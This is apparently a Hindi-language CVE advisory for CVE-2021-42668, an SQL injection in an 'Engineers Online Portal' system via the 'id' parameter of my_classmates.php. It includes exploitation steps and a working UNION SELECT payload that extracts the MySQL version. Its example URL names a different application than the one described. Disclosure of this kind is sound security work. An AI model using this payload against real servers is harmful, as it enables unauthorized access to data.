cve-2021-42668

CVE-2021-42668 - इंजीनियर्स ऑनलाइन पोर्टल सिस्टम में SQL इंजेक्शन कमजोरी।

तकनीकी विवरण:

इंजीनियर्स ऑनलाइन पोर्टल में एक SQL इंजेक्शन कमजोरी मौजूद है। एक हमलावर "my_classmates.php" वेब पेज में कमजोर "id" पैरामीटर का उपयोग करके किए गए SQL क्वेरी में हेरफेर कर सकता है। परिणामस्वरूप हमलावर वेब सर्वर से संवेदनशील डेटा निकाल सकता है।

प्रभावित घटक -

कमजोर पेज - my_classmates.php

कमजोर पैरामीटर - "id"

शोषण के चरण:

1. http://localhost/nia_munoz_monitoring_system/my_classmates.php पर जाएं
2. id पैरामीटर में अपना पेलोड डालें

प्रूफ ऑफ कॉन्सेप्ट (Poc) -

निम्नलिखित पेलोड आपको वेब सर्वर पर चल रहे MySql सर्वर संस्करण को निकालने की अनुमति देगा -

' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL;-- -

संदर्भ -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42668